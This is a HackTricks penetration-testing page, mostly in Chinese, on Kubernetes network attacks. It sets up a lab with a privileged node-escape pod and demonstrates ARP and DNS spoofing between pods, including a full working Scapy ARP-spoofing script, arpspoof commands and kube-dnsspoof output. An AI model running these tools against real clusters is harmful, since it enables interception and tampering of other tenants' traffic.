Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md

11 KiB
Raw Blame History

Kubernetes Network Attacks

{{#include ../../banners/hacktricks-training.md}}

Introduction

在Kubernetes中观察到默认行为允许同一节点上所有容器之间建立连接。这适用于命名空间的区别。因此,这种连接扩展到第2层(以太网)。因此,这种配置可能使系统暴露于漏洞之中。具体来说,它打开了恶意容器对同一节点上其他容器执行ARP欺骗攻击的可能性。在这种攻击中,恶意容器可以欺骗性地拦截或修改针对其他容器的网络流量。

ARP欺骗攻击涉及攻击者在局域网中发送伪造的ARP(地址解析协议)消息。这导致攻击者的MAC地址与网络上合法计算机或服务器的IP地址关联。在成功执行此类攻击后攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在OSI模型的第2层上执行这就是为什么Kubernetes在这一层的默认连接引发安全担忧。

在这种情况下将创建4台机器

  • ubuntu-pe: 特权机器,用于逃逸到节点并检查指标(攻击不需要)
  • ubuntu-attack: 恶意容器在默认命名空间中
  • ubuntu-victim: 受害者机器在kube-system命名空间中
  • mysql: 受害者机器在默认命名空间中
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

基本的 Kubernetes 网络

如果您想了解更多关于这里介绍的网络主题的细节,请查看参考资料。

ARP

一般来说,节点内部的 pod-to-pod 网络是通过一个连接所有 pod 的 bridge 可用的。这个 bridge 被称为“cbr0”。(一些网络插件会安装它们自己的 bridge。cbr0 也可以处理 ARP(地址解析协议)解析。当一个传入的数据包到达 cbr0 时,它可以使用 ARP 解析目标 MAC 地址。

这一事实意味着,默认情况下,在同一节点中运行的每个 pod都能够在以太网层(第 2 层)上与同一节点中的任何其他 pod 通信(与命名空间无关)。

Warning

因此,可以在同一节点中的 pod 之间执行 ARP 欺骗攻击。

DNS

在 Kubernetes 环境中,您通常会发现 1 个(或多个)DNS 服务正在运行,通常在 kube-system 命名空间中:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

在之前的信息中,你可以看到一些有趣的内容,服务的IP10.96.0.10,但运行该服务的pod的IP172.17.0.2

如果你检查任何pod内部的DNS地址你会发现类似这样的内容

cat /etc/resolv.conf
nameserver 10.96.0.10

然而pod 不知道 如何到达该 地址,因为在这种情况下 pod 范围 是 172.17.0.10/26。

因此pod 将把 DNS 请求发送到地址 10.96.0.10,该地址将被 cbr0 转换172.17.0.2

Warning

这意味着 pod 的 DNS 请求 总是 会通过 桥接转换 服务 IP 到端点 IP,即使 DNS 服务器与 pod 在同一子网络中。

了解这一点,并且知道 ARP 攻击是可能的,节点中的 pod 将能够 拦截每个 pod子网络桥接 之间的 流量修改 来自 DNS 服务器的 DNS 响应DNS 欺骗)。

此外,如果 DNS 服务器 与攻击者在 同一节点,攻击者可以 拦截集群中任何 pod 的所有 DNS 请求(在 DNS 服务器和桥接之间)并修改响应。

同一节点中 pods 的 ARP 欺骗

我们的目标是 窃取至少从 ubuntu-victim 到 mysql 的通信

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

正如之前提到的,如果你攻陷了与DNS服务器pod在同一节点的pod,你可以通过ARPSpoofing桥接和DNS pod进行中间人攻击修改所有DNS响应

你有一个非常好的工具教程来测试这个在 https://github.com/danielsagi/kube-dnsspoof/

在我们的场景中,下载攻击者pod中的工具并创建一个名为hosts文件,其中包含你想要欺骗域名,例如:

cat hosts
google.com. 1.1.1.1

对ubuntu-victim机器执行攻击

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Note

如果你尝试创建自己的 DNS 欺骗脚本,仅仅修改 DNS 响应不行的,因为 响应将会有一个 源 IP,即 恶意 pod 的 IP 地址,并且不会接受
你需要生成一个 新的 DNS 数据包,其 源 IP 是受害者发送 DNS 请求的 DNS(类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP而不是 DNS 服务器 IP更多内容在介绍中

通过 coreDNS configmap 进行 DNS 欺骗

在 kube-system 命名空间中对 configmap coredns 具有写权限的用户可以修改集群的 DNS 响应。

有关此攻击的更多信息,请查看:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

滥用暴露的 Kubernetes 管理服务

像 Apache NiFi、Kubeflow、Argo Workflows、Weave Scope 和 Kubernetes 仪表板这样的服务通常暴露在互联网或 Kubernetes 网络中。成功找到任何用于管理 Kubernetes 的平台并访问它的攻击者可以滥用它以获取对 Kubernetes API 的访问权限,并执行诸如创建新 pod、修改现有 pod 或甚至删除它们的操作。

枚举 Kubernetes 网络策略

获取配置的 networkpolicies

kubectl get networkpolicies --all-namespaces

获取 Callico 网络策略:

kubectl get globalnetworkpolicy --all-namespaces

获取 Cillium 网络策略:

kubectl get ciliumnetworkpolicy --all-namespaces

获取您的网络插件或安全解决方案安装的其他与策略相关的 CRD

kubectl get crd | grep -i policy

捕获流量

工具 Mizu 是一个简单而强大的 API 流量查看器,用于 Kubernetes,使您能够 查看微服务之间的所有 API 通信,以帮助您调试和排查回归问题。
它将在选定的 pod 中安装代理,收集它们的流量信息并在 web 服务器中显示。然而,您需要较高的 K8s 权限才能使用此工具(而且它并不是非常隐蔽)。

参考

{{#include ../../banners/hacktricks-training.md}}